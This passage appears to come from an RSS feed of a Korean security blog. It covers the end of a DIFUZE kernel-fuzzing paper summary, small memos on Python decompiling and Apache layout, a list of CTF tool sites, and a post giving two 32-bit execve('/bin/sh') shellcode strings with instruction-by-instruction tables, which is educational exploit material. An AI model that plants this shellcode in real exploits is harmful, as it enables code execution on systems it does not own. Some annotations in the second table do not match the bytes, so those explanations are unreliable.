&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;이러한 이유로 코드 커버리지 측정 또른 KASAN(Kernel Address Sanitizer)을 삽입하기 위해 커널을 계측하지 않았다. KASAN 및 커버리지 정보는 DIFUZE의 결과를 더욱 향상시킬 수 있다. KASAN은 메모리 손상을 감지하고 어설션(Assertion) 오류를 발생시킴으로써 버그를 찾는 데 도움을 준다. 단지 손상된 메모리가 다른 기능에서 사용되지 않거나 중요한 데이터가 손상되지 않았기 때문에 장치가 충돌하지 않고 공격 가능한 버그가 트리거될 수 있다. 커버리지 정보는 이전에 무시되었던 드라이버 기능을 트리거하는 입력을 변경하려고 시도하므로 드라이버에 대한 심층 탐색을 가능하게 함으로써 시스템을 개선할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;10. 결론&lt;/h2&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;본 논문에서는 리눅스 커널 드라이버와 같은 인터페이스에 민감한 코드에 대한 자동 분석의 효과를 높이기 위해 인터페이스 인식 퍼징을 제안했다. 코드를 퍼징하기 위해 ioctl 인터페이스 사양을 복구하는 일련의 기술을 제공했다. 단일 명령으로 커널 소스 아카이브에서 직접 작동하는 자동화된 파이프라인에서 모든 기술을 구현했다. 기술의 대부분의 드라이버를 위한 인터페이스의 구성요소, 장치 파일 이름, 유효한 명령 식별자, 해당 인수 유형을 복구하는데 효율적이고 효과적이라는 것을 보여준다. 안드로이드 스마트폰의 7개 모델에 대해 여러 가지 다른 DIFUZE 구성을 사용하여 철저한 평가를 수행하여 인터페이스 인식 퍼저의 구현이 효과적이라는 것을 입증하며, 이 중 32개는 이전에 알려지지 않았던 취약점이다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;DIFUZE는 오픈 소스 커뮤니티에서 최신 모바일 기기의 안정성을 보장하는 도구를 제공하고 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size26&quot;&gt;부록 A. IOCTL 등록 구조&lt;/h2&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;리눅스 커널 드라이버가 ioctl 핸들러를 등록하는 데 사용할 수 있는 몇 가지 구조가 있다. [목록 7]은 화웨이 P9에서 실행되는 커널의 구조 목록이다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1589193163965&quot; class=&quot;cs&quot; style=&quot;display: block; overflow: auto; padding: 15px; color: #383a42; background: #f6f7f8; font-size: 14px; border-radius: 3px; font-family: Menlo, Consolas, Monaco, monospace; border: 1px solid #dddddd; margin: 20px auto 0px; cursor: default; z-index: 1; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;cs&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;struct.media_file_operations
struct.video_device
struct.v4l2_file_operations
struct.block_device_operations
struct.tty_operations
struct.posix_clock_operations
struct.security_operations
struct.file_operations
struct.v4l2_subdev_core_ops
struct.snd_pcm_ops
struct.snd_hwdep_ops
struct.snd_info_entry_ops
struct.adf_obj_ops
struct.net_device_ops
struct.kvm_device_ops
struct.ide_disk_ops
struct.ide_ioctl_devset
struct.hdlcdrv_ops
struct.uart_ops
struct.fb_ops
struct.proto_ops
struct.tty_ldisc_ops
struct.watchdog_ops
struct.atmdev_ops
struct.atmphy_ops
struct.atm_ioctl
struct.vfio_device_ops
struct.vfio_iommu_driver_ops
struct.rtc_class_ops
struct.usb_gadget_ops
struct.ppp_channel_ops
struct.cdrom_device_info
struct.cdrom_device_ops&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;[목록 7] ioctl 핸들러를 등록하는 데 사용할 수 있는 구조체 목록&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size26&quot;&gt;부록 B. V4L2 드라이버&lt;/h2&gt;
&lt;pre id=&quot;code_1589195495751&quot; class=&quot;c++ arduino&quot; style=&quot;display: block; overflow: auto; padding: 15px; color: #383a42; background: #f6f7f8; font-size: 14px; border-radius: 3px; font-family: Menlo, Consolas, Monaco, monospace; border: 1px solid #dddddd; margin: 20px auto 0px; cursor: default; z-index: 1; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// v4l2_ioctl_ops initialized with required functions.
static const struct v4l2_ioctl_ops iris_ioctl_ops = {
.vidioc_querycap = iris_vidioc_querycap,
.vidioc_s_tuner = iris_vidioc_s_tuner
}
static const struct v4l2_file_operations iris_fops = {
    // here video_ioctl2, implemented by kernel
    // is the main ioctl handler.
     .unlocked_ioctl = video_ioctl2
};

static struct video_device iris_viddev_template = {
    //initialize file operations.
    .fops = &amp;amp;iris_fops,
    // initialize ioctl operations.
    .ioctl_ops = &amp;amp;iris_ioctl_ops
};

static int __init driver_init() {
    struct iris_device* radio;
    int radio_nr = -1;
    radio = kzalloc(sizeof(struct iris_device), GFP_KERNEL);
    if (!radio) {
        FMDERR(&quot;: Could not allocate radio device\n&quot;);
        return -ENOMEM;
    }
    // copy the video_device structure.
    memcpy(radio-&amp;gt;videodev, &amp;amp;iris_viddev_template,
        sizeof(iris_viddev_template));
    // register the v4l2 device
    video_register_device(radio-&amp;gt;videodev, VFL_TYPE_RADIO, radio_nr);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;[목록 8] v4l2_ioctl_ops 초기화 및 v4l2 장치 등록의 예&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1589195514104&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;vidioc_querycap:2154321408
vidioc_s_tuner:1079268894&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;[목록 9] &amp;lt;function name&amp;gt;:&amp;lt;command id&amp;gt; 형식의 항목을 포함하는 v4l2-function-mapping 예제&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size26&quot;&gt;References&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;color: #666666;&quot;&gt;&lt;a href=&quot;https://github.com/ucsb-seclab/difuze&quot;&gt;https://github.com/ucsb-seclab/difuze&lt;/a&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;a href=&quot;http://swtv.kaist.ac.kr/publications/KSC2019pdf&quot;&gt;http://swtv.kaist.ac.kr/publications/KSC2019pdf&lt;/a&gt;&lt;/blockquote&gt;</description>
      <category>Fuzzing</category>
      <category>Android</category>
      <category>DIFUZE</category>
      <category>ioctls</category>
      <category>kernel</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/204</guid>
      <comments>https://netking.tistory.com/204#entry204comment</comments>
      <pubDate>Tue, 19 May 2020 23:03:31 +0900</pubDate>
    </item>
    <item>
      <title>Python(.pyc) 디컴파일</title>
      <link>https://netking.tistory.com/203</link>
      <description>&lt;p&gt;$ pip install uncompyle6&lt;/p&gt;
&lt;p&gt;$ uncompyle6 {filename}.pyc&lt;/p&gt;</description>
      <category>Memo</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/203</guid>
      <comments>https://netking.tistory.com/203#entry203comment</comments>
      <pubDate>Fri, 1 May 2020 00:39:33 +0900</pubDate>
    </item>
    <item>
      <title>Ubuntu Apache2 구조</title>
      <link>https://netking.tistory.com/201</link>
      <description>&lt;p&gt;&lt;b&gt;&lt;span&gt;/etc/apache2&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;: 설정 파일 루트 위치&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;span&gt;/etc/apache2/apache2.conf&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;: 기본 설정 파일&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #333333;&quot;&gt;/etc/apache2/&lt;/span&gt;conf-available&lt;/b&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;: &lt;span style=&quot;color: #333333;&quot;&gt;사용가능한 전역(global) 설정 관리&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;/etc/apache2/&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;conf-&lt;span style=&quot;color: #333333;&quot;&gt;enabled&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;: &lt;span style=&quot;color: #333333;&quot;&gt;사용가능한 &lt;span style=&quot;color: #333333;&quot;&gt;전역(global) 설정&lt;/span&gt; 중에 사용할 &lt;span style=&quot;color: #333333;&quot;&gt;전역(global) 설정&lt;/span&gt;을 심볼릭 링크로 추가하여 관리&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;span&gt;/etc/apache2/envvars&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;: apache2.ctl 환경 설정 파일&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;span&gt;/etc/apache2/magic&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;: 파일의 시작값(Magic Number) 데이터베이스&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;span&gt;/etc/apache2/mods-available&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;: 사용가능한 모듈 관리&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;span&gt;/etc/apache2/mods-enabled&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;: 사용가능한 모듈 중에 사용할 모듈을 심볼릭 링크로 추가하여 관리&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;span&gt;/etc/apache2/ports.conf&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;: 서비스 포트 관리&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;span&gt;/etc/apache2/sites-available&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;: 운영할 사이트 설정 파일&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;span&gt;/etc/apache2/sites-enabled&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;: 운영할 사이트 설정 파일을 심볼릭 링크로 추가하여 관리&lt;/span&gt;&lt;/p&gt;</description>
      <category>Web</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/201</guid>
      <comments>https://netking.tistory.com/201#entry201comment</comments>
      <pubDate>Mon, 13 Apr 2020 20:47:58 +0900</pubDate>
    </item>
    <item>
      <title>CTF 풀 때 도움 되는 사이트 정리</title>
      <link>https://netking.tistory.com/200</link>
      <description>&lt;p&gt;&lt;b&gt;[ 암호 ]&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;- &lt;a href=&quot;https://gchq.github.io/CyberChef/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CyberChef&lt;/a&gt; : 다양한 인코딩 지원&lt;/p&gt;
&lt;p&gt;- &lt;a href=&quot;https://cryptii.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Cryptii&lt;/a&gt; : 다양한 인코딩 지원&lt;/p&gt;
&lt;p&gt;- &lt;a href=&quot;https://codebeautify.org/hex-string-converter&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;codebeautify&lt;/a&gt; : 다양한 인코딩 지원&lt;/p&gt;
&lt;p&gt;- &lt;a href=&quot;https://quipqiup.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;quipqiup&lt;/a&gt; : 치환암호 복호화&lt;/p&gt;
&lt;p&gt;- &lt;a href=&quot;https://md5decrypt.net/en/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;md5decrypt&lt;/a&gt; : md5 복호화&lt;/p&gt;
&lt;p&gt;- &lt;a href=&quot;https://www.alpertron.com.ar/ECM.HTM&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Integer factorization calculator&lt;/a&gt; : 소인수분해 계산&lt;/p&gt;
&lt;p&gt;- &lt;a href=&quot;https://www.dcode.fr/brainfuck-language&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Brainfuck&lt;/a&gt; : 예) &quot;[&amp;gt;+++++++++&quot; 암복호화&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;[ 포렌식 ]&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;- &lt;a href=&quot;http://exif.regex.info/exif.cgi&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Jeffrey's Image Metadata Viewer&lt;/a&gt; : Exif&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;[ 바이너리 ]&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;- &lt;a href=&quot;https://defuse.ca/online-x86-assembler.htm&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Online x86 / x64 Assembler and Disassembler&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;- &lt;a href=&quot;https://www.onlinegdb.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OnlineGDB&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;[ 웹 ]&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;- &lt;a href=&quot;https://beautifier.io/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Online JavaScript Beautifier&lt;/a&gt; : 자바스크립트 정렬&lt;/p&gt;
&lt;p&gt;- &lt;a href=&quot;https://www.freeformatter.com/url-parser-query-string-splitter.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;URL&amp;nbsp;ParserURL&amp;nbsp;Parser&amp;nbsp;/&amp;nbsp;Query&amp;nbsp;String&amp;nbsp;Splitter&lt;/a&gt;&lt;/p&gt;</description>
      <category>Memo</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/200</guid>
      <comments>https://netking.tistory.com/200#entry200comment</comments>
      <pubDate>Mon, 13 Apr 2020 15:40:06 +0900</pubDate>
    </item>
    <item>
      <title>Linux Shell Code</title>
      <link>https://netking.tistory.com/199</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;32bit&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;(1) &lt;/span&gt;25byte&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 187px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;\x31\xc0&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;xor&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;eax,eax&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;eax&amp;nbsp;레지스터를&amp;nbsp;0으로&amp;nbsp;초기화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;\x50&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;push&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;eax&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;스택에&amp;nbsp;0을&amp;nbsp;푸시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;\x68\x2f\x2f\x73\x68&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;push&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;0x68732f2f&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;스택에&amp;nbsp;&quot;//sh&quot;&amp;nbsp;문자열의&amp;nbsp;주소를&amp;nbsp;푸시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;\x68\x2f\x62\x69\x6e&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;push&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;0x6e69622f&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;스택에&amp;nbsp;&quot;/bin&quot;&amp;nbsp;문자열의&amp;nbsp;주소를&amp;nbsp;푸시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;\x89\xe3&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;mov&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;ebx,esp&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;ebx&amp;nbsp;레지스터에&amp;nbsp;스택의&amp;nbsp;주소를&amp;nbsp;저장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;\x50&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;push&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;eax&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;스택에&amp;nbsp;0을&amp;nbsp;푸시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;\x53&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;push&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;ebx&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;스택에&amp;nbsp;&quot;/bin/sh&quot;&amp;nbsp;문자열의&amp;nbsp;주소를&amp;nbsp;푸시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;\x89\xe1&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;mov&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;ecx,esp&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;ecx&amp;nbsp;레지스터에&amp;nbsp;스택의&amp;nbsp;주소를&amp;nbsp;저장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;\x89\xc2&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;mov&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;edx,eax&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;edx&amp;nbsp;레지스터에&amp;nbsp;0을&amp;nbsp;저장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;\xb0\x0b&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;mov&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;al,0xb&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;시스템&amp;nbsp;콜&amp;nbsp;번호&amp;nbsp;11&amp;nbsp;(execve)을&amp;nbsp;al&amp;nbsp;레지스터에&amp;nbsp;저장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;\xcd\x80&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;int&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;0x80&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;시스템&amp;nbsp;콜&amp;nbsp;실행&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;(2) &lt;span style=&quot;color: #000000;&quot;&gt;26byte&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 187px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;\x31\xc0&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;xor&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;eax,eax&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;eax&amp;nbsp;레지스터를&amp;nbsp;0으로&amp;nbsp;초기화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;\x50&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;push&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;eax&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;스택에&amp;nbsp;0을&amp;nbsp;푸시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;\x68\x6e\x2f\x73\x68&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;push&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;0x68732f6e&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;스택에&amp;nbsp;&quot;//sh&quot;&amp;nbsp;문자열의&amp;nbsp;주소를&amp;nbsp;푸시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;\x68\x2f\x2f\x62\x69&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;push&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;0x69622f2f&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;스택에&amp;nbsp;&quot;/bin&quot;&amp;nbsp;문자열의&amp;nbsp;주소를&amp;nbsp;푸시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;\x89\xe3&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;mov&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;ebx,esp&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;ebx&amp;nbsp;레지스터에&amp;nbsp;스택의&amp;nbsp;주소를&amp;nbsp;저장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;\x31\xc9&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;xor&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;ecx,ecx&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;ecx 레지스터를 0으로 초기화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;\x89\xc2&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;xor&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;edx,edx&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;edx 레지스터를 0으로 초기화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25%;&quot;&gt;\xb0\x08&lt;/td&gt;
&lt;td style=&quot;width: 25%;&quot;&gt;mov&lt;/td&gt;
&lt;td style=&quot;width: 25%;&quot;&gt;al,0x8&lt;/td&gt;
&lt;td style=&quot;width: 25%;&quot;&gt;시스템 콜 번호 8 (execve)을 al 레지스터에 저장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;\x40\x40\x40&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;inc&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;eax&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;인자로 전달되는 문자열 포인터 배열의 길이를 3으로 설정&lt;/td&gt;
&lt;/tr&gt;
